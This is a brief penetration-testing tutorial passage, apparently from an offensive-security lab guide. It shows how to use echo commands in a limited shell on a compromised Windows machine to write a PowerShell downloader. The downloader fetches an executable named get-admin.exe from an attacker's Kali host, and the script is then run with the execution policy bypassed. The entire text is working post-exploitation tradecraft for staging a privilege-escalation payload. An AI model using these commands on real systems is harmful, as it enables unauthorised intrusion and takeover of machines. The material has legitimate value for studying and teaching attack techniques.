Execute the following commands in your limited shell to create the script:

echo $storageDir = $pwd > wget_win.ps1
echo $webclient = New-Object System.Net.WebClient >>wget_win.ps1
echo $url = "http://[kali IP]/file name" >>wget_win.ps1
echo $file = "get-admin.exe" >>wget_win.ps1
echo $webclient.DownloadFile($url,$file) >>wget_win.ps1

I've chosen the filename get-admin.exe. You don't have to use the same name; you can use any name you like.

Next, execute the script using powershell.exe:

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget_win.ps1